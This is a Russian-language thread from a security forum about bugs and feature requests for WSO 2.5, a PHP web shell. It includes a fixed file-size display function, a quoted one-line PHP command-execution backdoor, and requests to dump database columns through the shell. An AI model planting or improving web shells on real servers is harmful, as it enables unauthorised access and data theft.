RDot: White Hat Security Community

RDot: White Hat Security Community (https://rdot.org/forum/index.php)
-   Релизы/Releases (https://rdot.org/forum/forumdisplay.php?f=11)
-   -   WSO 2.5 (web shell) (https://rdot.org/forum/showthread.php?t=1085)

Svet 05.10.2011 15:02

Windows XP SP3
Почему-то с отображением размера HDD косяк получается.

XAMPP
Disabled PHP Functions: none
РНР: 5.3.8 Safe mode: OFF

Пруф

С диском С тоже не все в порядке:
Total: 97,6 GB Free: 61,8 GB
WSО показывает:
Total: 1.65 GB Free: 1.81 GB (63%)

Svet 05.10.2011 21:21

Проверил дома на 7.
Если размер диска больше 100Гб, то WSO с размерами лажает. Проверил на флешке 4Гб - там все норм (других дисков у меня нету).

строка 331
Код:

$s = sprintf("%u", $s);
Если ее закоментить, то все норм.
В 2.5 ее не было :)


Еще пример:
Код:

var_dump(diskfreespace('D:'),disk_total_space('D:'), sprintf("%u",diskfreespace('D:')), sprintf("%u",disk_total_space('D:')), wsoViewSize(diskfreespace('D:')), wsoViewSize(disk_total_space('D:')));

Результат:
float(2603077632)
float(208599388160)
string(10) "2603077632"
string(10) "2440957952"
string(7) "2.42 GB"
string(7) "2.27 GB"

IRL:
194Гб (свободно 2.42 - то есть с малыми величинами все норм).

После того, как закоментил 331 строку:
Код:

var_dump(diskfreespace('D:'),disk_total_space('D:'), sprintf("%u",diskfreespace('D:')), sprintf("%u",disk_total_space('D:')), wsoViewSize(diskfreespace('D:')), wsoViewSize(disk_total_space('D:')));

float(2603077632)
float(208599388160)
string(10) "2603077632"
string(12) "208599388160"
string(7) "2.42 GB"
string(9) "194.27 GB"


oRb 06.10.2011 11:48

Да, получился кривой фикс проблемы, которая возникала при выводе размера файла, весящего больше двух GB, на 32-битных системах. Проблема оказалась в том, что функция filesize возвращает целочисленный тип, а diskfreespace и disk_total_space - число с плавающей точкой.

PHP код:

echo gettype(filesize('.')) . "\n" gettype(diskfreespace('.')) . "\n" gettype(disk_total_space('.')); 

Код:

integer
double
double

fix:
PHP код:

function wsoViewSize($s) {
    if (
is_int($s))
        
$s sprintf("%u"$s);
    
    if(
$s >= 1073741824)
        return 
sprintf('%1.2f'$s 1073741824 ). ' GB';
    elseif(
$s >= 1048576)
        return 
sprintf('%1.2f'$s 1048576 ) . ' MB';
    elseif(
$s >= 1024)
        return 
sprintf('%1.2f'$s 1024 ) . ' KB';
    else
        return 
$s ' B';


Версии в первом посте сейчас поправлю.

pres 06.10.2011 22:40

На rackspace шелл криво работает. Листинг дир недоступен и просмотр.правка файлов

Nightmare 07.10.2011 05:12

Если читать файл функцией шелла Read File, то он на выбор рандомно когда его читает, а когда и открывает на редактирование, почему так происходит, и должно ли так быть, я хз...
(было бы удобнее, если бы всегда на редактирование открывал. для меня удобнее =)) )

opium 11.10.2011 16:32

Предложение по функционалу:

В версии 2.5 если делать дамп базу, то нужно указывать путь, куда он сохранится. Но фейл начинается тогда, когда через шелл коннектишься к другому серверу БД, на котором нет прав на запись или неизвестен путь.

Ещё что часто нужно - снять не фулл дамп (ибо в базе могут быть картинки и бекап таблицы с колумном с изображениями может вестить несколько гигов), а отдельные колумны. было бы удобно, если бы в заголовках таблицы стояли чекбоксы и ты выбирал аккие колумны нужно сдампить.

Дамп не в формате скул, а массивом данных, через разделитель
----
Ваше мнение по поводу моего предложения? :)

oRb 11.10.2011 17:49

Цитата:

В версии 2.5 если делать дамп базу, то нужно указывать путь, куда он сохранится. Но фейл начинается тогда, когда через шелл коннектишься к другому серверу БД, на котором нет прав на запись или неизвестен путь.
Если не указывать путь, то дамп будет писаться не в файл, а сразу в выходной поток (те клиенту в браузер). А путь указывается относительно сервера, на который залит шелл, а не к которому подключаешься.

Цитата:

Ещё что часто нужно - снять не фулл дамп (ибо в базе могут быть картинки и бекап таблицы с колумном с изображениями может вестить несколько гигов), а отдельные колумны. было бы удобно, если бы в заголовках таблицы стояли чекбоксы и ты выбирал аккие колумны нужно сдампить.

Дамп не в формате скул, а массивом данных, через разделитель
можно написать код, который бы выполнял вышеописанную задачу и выполнить его во вкладке "PHP"

opium 11.10.2011 18:32

ну да, конечно можно) просто написал что это было бы удобнее)
Нето можно пользоваться и шелом <? system[$a]; ?> но эт тож не очень :)

Raz0r 11.10.2011 20:30

Поддерживаю чекбоксы в колонках, приходится выполнять, как здесь сказано, во вкладке PHP слегка измененный код самого WSO, что неразумно

Boolean 05.11.2011 15:07

Делал модификацию под себя, за основу взял последнюю версию WSO, и все же решил выложить, так как многим эта опция нужна.
Добавлена опция дампа определенных колонок таблиц.
Скриншот:
http://savepic.su/641808.jpg

Код на pastebin.com: http://pastebin.com/WvZTc46s


Последний changelog: https://rdot.org/forum/showpost.php?p=20361&postcount=79


Часовой пояс GMT +3, время: 23:17.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot